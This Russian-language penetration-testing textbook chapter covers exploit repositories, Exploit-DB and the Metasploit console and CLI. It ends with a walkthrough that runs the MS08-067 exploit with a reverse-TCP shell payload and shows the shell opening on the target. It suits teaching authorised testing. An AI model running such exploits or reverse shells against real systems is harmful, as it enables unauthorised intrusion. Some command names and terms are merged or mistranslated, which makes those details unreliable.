8 Целевая эксплуатация

Целевая эксплуатация — одна из областей, в которой, помимо оценки уязвимостей, выполняется тест на проникновение. Теперь, когда уязвимости найдены, для получения доступа и полного контроля над целевой системой вы можете воспользоваться найденными уязвимостями. В этой главе мы рассмотрим методы и инструменты, используемые для эксплуатации найденных уязвимостей в реальном мире.

- Мы объясним, на что обратить внимание при исследовании найденных слабых мест, прежде чем трансформировать уязвимость в практический код эксплойта.
- Мы приведем пример нескольких репозиториев общедоступных эксплойтов и расскажем, как и когда их можно задействовать.
- Мы расскажем об использовании одного печально известного инструмента с точки зрения оценки цели. Это вам даст четкое представление о том, как пользоваться инструментами для получения доступа к конфиденциальной информации. В разделе «Расширенный инструментарий эксплуатации» вы найдете несколько практических упражнений.
- В конце главы мы попытаемся кратко описать шаги по созданию простого модуля эксплойта для Metasploit.

Написание кода эксплойта с нуля — трудоемкая и дорогостоящая задача, требующая дополнительных знаний. Облегчить себе работу можно, воспользовавшись общедоступными эксплойтами. Хотя изменение структуры такого эксплойта в соответствии с целевой средой также потребует некоторого опыта. Мы настоятельно рекомендуем вам использовать в ваших испытаниях общедоступные эксплойты, чтобы лучше понять, как написать и запустить собственный код эксплойта.

Исследование уязвимости

Понимание возможностей конкретного программного или аппаратного продукта может послужить отправной точкой для изучения уязвимостей, возможно существующих в этом продукте. Исследование уязвимостей — задача непростая, и она не решается одним щелчком кнопкой мыши. Следовательно, для проведения анализа безопасности требуется мощная база знаний, определяемая следующими факторами.

- **Навыки программирования.** Для этических хакеров это фундаментальный фактор. Изучение основных концепций и структур, характерных для любого языка программирования, предоставит тестеру преимущество при поиске уязвимостей. Вы должны не только иметь базовые знания о языках программирования, но и разбираться в работе процессоров, системной памяти, буферов, указателей, типов данных, регистров и кэша. Эти понятия реализуемы практически на любом языке программирования, в том числе C/C++, Python, Perl и Assembly.

Чтобы узнать основы написания кода эксплойта из обнаруженной уязвимости, посетите страницу http://www.phreedom.org/presentations/exploitcode-development/exploit-code-development.pdf.

- **Инженерный анализ.** Еще одна обширная область для обнаружения уязвимостей, которые могут существовать в электронном устройстве, программном обеспечении или системе, путем анализа функций этого устройства, структур и операций. Цель состоит в том, чтобы вывести код из данной системы без какого-либо предварительного знания о ее внутренней работе; изучить ее на наличие сбойных ситуаций, плохо спроектированных функций и протоколов; проверить граничные условия. Здесь потребуются навыки обратного проектирования, такие как удаление защиты авторских прав из программного обеспечения, аудит безопасности, конкурентная техническая разведка, выявление нарушения патентных прав, способность к взаимодействию, понимание рабочего процесса продукта и получение конфиденциальных данных. Обратное проектирование добавляет два уровня концепции для изучения кода приложения: аудит исходного кода и двоичный аудит. Дизассемблеры и декомпиляторы — два общих типа инструментов, которые могут помочь аудитору в двоичном анализе. Дизассемблеры генерируют код сборки из скомпилированной двоичной программы, в то время как декомпиляторы генерируют код языка высокого уровня из скомпилированной двоичной программы. Однако работа с любым из этих инструментов является довольно сложной и требует знаний и тщательной оценки.
- **Инструментальные средства.** Такие средства, как отладчики, экстракторы данных, затуманиватели, профилировщики, просмотрщики кода, анализаторы потока и мониторы памяти, играют важную роль в процессе обнаружения уязвимостей и обеспечивают согласованную среду для целей тестирования. Объяснение каждой из этих категорий инструментов выходит за рамки данной книги. Тем не менее вы можете найти несколько полезных инструментов, уже присутствующих в Kali Linux. Чтобы вы могли отслеживать последние инструменты разработки обратного кода, мы настоятельно рекомендуем вам посетить онлайн-библиотеку по адресу http://www.woodmann.com/collaborative/tools/index.php/Category:RCE_Tools.
- **Создание и использование полезной нагрузки.** Это последний шаг в написании кода точки контроля (PoC) для уязвимого элемента приложения, с помощью которого тестер на проникновение может выполнять на целевой машине поль-

зовательские команды. Мы воспользуемся знаниями уязвимых приложений со стадии обратного проектирования и доработаем код оболочки с механизмом кодирования так, чтобы исключить неприемлемые символы, которые могут преждевременно завершить работу эксплойта.

Для выполнения произвольного кода или команды на целевой системе очень важно следовать определенной стратегии, обусловленной типом и классификацией обнаруженной уязвимости. Как профессиональный тестер на проникновение, вы всегда будете искать лазейки, которые приведут к получению доступа оболочки к целевой операционной системе. В одном из следующих разделов главы мы продемонстрируем несколько сценариев с фреймворком Metasploit, в которых покажем, как применить эти методы и инструменты.

Хранилища уязвимостей и эксплойтов

На протяжении многих лет общество периодически узнавало о ряде найденных в ПО уязвимостей. Некоторые из них были раскрыты с помощью кода эксплойта PoC, но многие до сих пор остаются без внимания. Конкурентная эпоха поиска общедоступных эксплойтов и информации об уязвимостях облегчает тестерам на проникновение быстрый поиск и извлечение наилучшего доступного эксплойта, который подходит для конкретной целевой системной среды. Если у вас есть навыки программирования и четкое понимание архитектуры конкретной ОС, вы можете перенести один тип эксплойта на другой (например, архитектуру Win32 на архитектуру Linux). Мы предоставляем комбинированный набор онлайн-репозиториев, которые могут помочь вам отслеживать любую информацию об уязвимости или ее эксплойт.

Не каждая обнаруженная уязвимость была раскрыта общественности. Часто информация о некоторых уязвимостях сообщается без какого-либо кода эксплойта PoC. А бывает так, что подробная информация об обнаруженной уязвимости не предоставляется вообще. По этой причине многие аудиторы безопасности нередко консультируют сразу несколько интернет-ресурсов.

Ниже представлен список онлайн-баз.

Имя репозитория	**Адрес сайта**
Bugtraq SecurityFocus	http://www.securityfocus.com
OSVDB Packet Stormulnerabilities	https://blog.osvdb.org/
Packet Storm	http://www.packetstormsecurity.org
National Vulnerability Database	http://nvd.nist.gov
IBM ISS X-Force	https://exchange.xforce.ibmcloud.com/
US-CERT Vulnerability Notes	http://www.kb.cert.org/vuls
US-CERT Alerts	http://www.us-cert.gov/cas/techalerts/

Продолжение ⇩

(Продолжение)

Имя репозитория	Адрес сайта
SecuriTeam	http://www.securiteam.com
Secunia Advisories	http://secunia.com/advisories/historic/
CXSecurity.com	http://cxsecurity.com
XSSed XSS-Vulnerabilities	http://www.xssed.com
Security Vulnerabilities Database	http://securityvulns.com
SEBUG	http://www.sebug.net
MediaService Lab	http://techblog.mediaservice.net
Intelligent Exploit Aggregation Network	http://www.intelligentexploit.com

Здесь перечислены только некоторые интернет-ресурсы из множества существующих. Kali Linux поставляется с интегрированной базой данных эксплойтов от Offensive Security. На сегодняшний день это обеспечивает дополнительное преимущество хранения в вашей системе всех архивированных эксплойтов и их дальнейшее использование. Чтобы получить доступ к Exploit-DB, выполните в терминале следующие команды:

```
# cd /usr/share/exploitdb/
# vim files.csv
```

Это откроет полный список эксплойтов, доступных в настоящее время из Exploit-DB по адресу `/usr/share/exploitdb/platforms/directory`.

Данные эксплойты классифицированы в соответствующих подкаталогах на основе типа системы (Windows, Linux, HP-UX, Novell, Solaris, BSD, IRIX, TRU64, ASP, PHP и т. д.). Большинство из них были разработаны с использованием языков программирования C, Perl, Python, Ruby, PHP. Kali Linux уже поставляется с несколькими компиляторами и интерпретаторами, которые поддерживают выполнение этих эксплойтов.

Как извлечь конкретную информацию из списка эксплойтов? Используя мощные команды Bash, вы можете вывести любой текстовый файл для извлечения значимых данных. Для этого воспользуйтесь Searchsploit или введите в консоль команду `cat files.csv |cut -d"," -f3`. Searchsploit начнет извлекать список заголовков эксплойтов из файла `files.csv`. Чтобы узнать основные команды оболочки, обратитесь по адресу http://tldp.org/LDP/abs/html/index.html.

Расширенный инструментарий эксплуатации

По умолчанию в Kali Linux уже загружено несколько лучших и самых передовых инструментов эксплуатации. Одним из них является платформа Metasploit (http://www.metasploit.com). Далее мы расскажем о ней более подробно и представим ряд сценариев, которые повысят производительность этого инструмента

и улучшат ваш опыт тестирования на проникновение. Фреймворк разработан на языке программирования Ruby и поддерживает модульность. Эти меры позволяют испытателю на проникновение, обладающему хорошими навыками в программировании, расширить или разработать пользовательские плагины и инструменты.

Архитектура фреймворка разделена на три категории: библиотеки, интерфейсы и модули. В этом упражнении мы сосредоточимся на возможностях различных интерфейсов и модулей. Интерфейсы (консоль, CLI и GUI) в основном обеспечивают внешнюю операционную деятельность при работе с любым типом модулей (эксплойты, полезные нагрузки, вспомогательные устройства и NOP). Каждый из таких модулей имеет свое назначение и функции, характерные для процесса тестирования на проникновение.

- Exploit (Эксплуатация). Этот модуль представляет собой код PoC, разработанный для использования конкретной уязвимости в целевой системе.
- Payload (Полезная нагрузка). Модуль представляет собой вредоносный код, предназначенный для встраивания в эксплойт. Такой вредоносный код может быть самостоятельно скомпилирован для выполнения произвольных команд в целевой системе.
- Auxiliaries (Оснастка). Данные модули представляют собой набор инструментов, разработанных для выполнения сканирования, перехвата и анализа, защиты, снятия отпечатков пальцев и других задач оценки безопасности.
- Encoders (Датчики). Эти модули предназначены для предотвращения обнаружения антивируса, брандмауэра, IDS/IPS и других подобных вредоносных программ путем кодирования полезной нагрузки во время операции проникновения.
- No Operation or No Operation Performed (NOP) (Нет операции или операция не выполняется). Модуль является инструкцией на языке ассемблера, часто добавляемой в код оболочки для выполнения только согласованного фрагмента полезной нагрузки.

Далее мы объясним основное назначение двух известных интерфейсов Metasploit и приведем соответствующие параметры командной строки. Каждый интерфейс имеет свои достоинства и недостатки. Однако мы настоятельно рекомендуем придерживаться консольной версии, поскольку она поддерживает большинство функций платформы.

MSFConsole

MSFConsole — один из самых эффективных внешних интерфейсов, содержащий несколько мощных инструментов. Он позволяет испытателям на проникновение добиться максимальной пользы при эксплуатации уязвимостей. Чтобы получить доступ к MSFconsole, выберите в основном меню Kali Linux

команду Applications ▸ Exploitation Tools ▸ Metasploit (Приложения ▸ Инструменты эксплуатации ▸ Metasploit) или введите в командную строку терминала и выполните следующую команду:

```
# msfconsole
```

Откроется интерфейс интерактивной консоли. Чтобы узнать обо всех доступных командах, введите следующее:

```
msf> help
```

На экране отобразится два набора команд. Один набор будет широко использоваться в фреймворке, а другой набор представляет собой специальные команды для программно-аппаратной части базы данных, в которой хранятся параметры оценки и результаты. Инструкции о других параметрах использования можно получить с помощью команды `-h`, следующей за командой `core`. Рассмотрим команду `show`:

```
msf> show -h
[*] Valid parameters for the "show" command are: all, encoders, nops,
exploits, payloads, auxiliary, plugins, options
[*] Additional module-specific parameters are: advanced, evasion,targets,
actions
```

Эта команда обычно применяется для отображения или всех модулей, или доступных модулей данного типа. Ниже приведены наиболее часто используемые команды.

- `show auxiliary` — отобразит все вспомогательные модули.
- `show exploits` — после введения этой команды вы увидите список всех эксплойтов в рамках исследуемой платформы.
- `show payloads` — покажет список полезных нагрузок для всех платформ. Однако использование той же команды в контексте выбранного эксплойта приведет к выводу только совместимых полезных нагрузок. Например, полезные нагрузки Windows будут отображаться только с совместимыми с Windows эксплойтами.
- `show encoders` — команда отобразит список доступных датчиков (энкодеров).
- `shownops` — с помощью этой команды вы увидите список всех доступных генераторов NOP.
- `show options` — предназначена для отображения настроек и параметров, доступных для конкретного модуля.
- `show targets` — команда поможет извлечь список целевых ОС, поддерживаемых конкретным модулем.
- `show advanced` — предоставит вам больше возможностей для точной настройки выполнения эксплойта.

В следующей таблице мы представили краткий список наиболее часто употребляемых команд. Вы можете использовать каждую из них, вводя в консоль Metasploit.

Команда	Описание
check	Проверяет конкретный эксплойт против вашей уязвимой цели без его использования. Эта команда не поддерживается многими эксплойтами
connectip port	Работает аналогично инструментам Netcat и Telnet
exploit	Запускает выбранный эксплойт
run	Запускает выбранный вспомогательный модуль
jobs	Показывает список всех запущенных фоновых модулей
route add subnet netmasksessionid	Добавляет через скомпрометированный сеанс маршрут с целевого компьютера на компьютер-тестировщик
info module	Отображает подробную информацию о конкретном модуле (Exploit, Auxiliary и т. д.)
setparam value	Настраивает в текущем модуле значение параметра
setgparam value	Позволяет задать значение глобального параметра для фреймворка. Эти параметры будут использоваться всеми эксплойтами и вспомогательными модулями
unsetparam	Команда, обратная команде set. Вы также можете сбросить все переменные сразу, указав unset all
unsetgparam	Позволяет убрать одну или несколько глобальных переменных
sessions	Позволяет показать и завершить целевой сеанс, а также взаимодействовать с ним. Используйте -l для перечисления, -i для взаимодействия с сеансом и -k для его завершения
search string	Предоставляет средство поиска модулей по их именам и описаниям
use module	Выбор конкретного модуля для тестирования на проникновение

В следующих разделах приведены примеры практического применения некоторых из этих команд. Вам важно понять, как они используются с различными наборами модулей фреймворка.

MSFCLI

Как и интерфейс MSFConsole, CLI работает с различными модулями, которые можно запустить в одном экземпляре. Однако ему не хватает новейших функций автоматизации, которые есть в MSFConsole.

Чтобы запустить msfcli, введите в командной строке терминала следующую команду:

```
# msfcli -x
```

Она отобразит все доступные режимы, аналогичные режимам MSFConsole, а также инструкции, с помощью которых можно вызвать нужный модуль и установить его параметры. Обратите внимание, что все переменные или параметры должны соответствовать условию `param=value`, а вводимые параметры зависят от регистра. Ниже представлен небольшой пример, в котором мы выберем и выполним конкретный эксплойт:

```
# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...
Name    Current Setting  Required  Description
----    ---------------  --------  -----------
RHOST                    yes       The target address
RPORT   445              yes       Set the SMB service port SMBPI
BROWSER                  yes       The pipe name to use (BROWSER, SRVSVC)
```

Параметр `O` в конце предыдущей команды указывает платформе на отображение доступных опций для выбранного эксплойта. В следующей команде с помощью параметра `HOST` мы задаем целевой IP-адрес:

```
# msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 P
[*] Please wait while we load the module tree...
Compatible payloads
===================
   Name                  Description
   ----                  -------------
generic/debug_trap       Generate a debug trap in the target process
generic/shell_bind_tcp   Listen for a connection and spawn a command shell
...
```

Теперь, когда мы с помощью параметра `RHOST` установили IP целевой машины, пришло время выбрать согласованную полезную нагрузку и выполнить наш эксплойт:

```
# msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7
 LHOST=192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.0.3:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.0.7
[*] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:WINDOWSsystem32>
```

Как вы можете видеть, после установки параметра `LHOST` для выбранной полезной нагрузки мы получили локальный доступ оболочки к нашей целевой машине.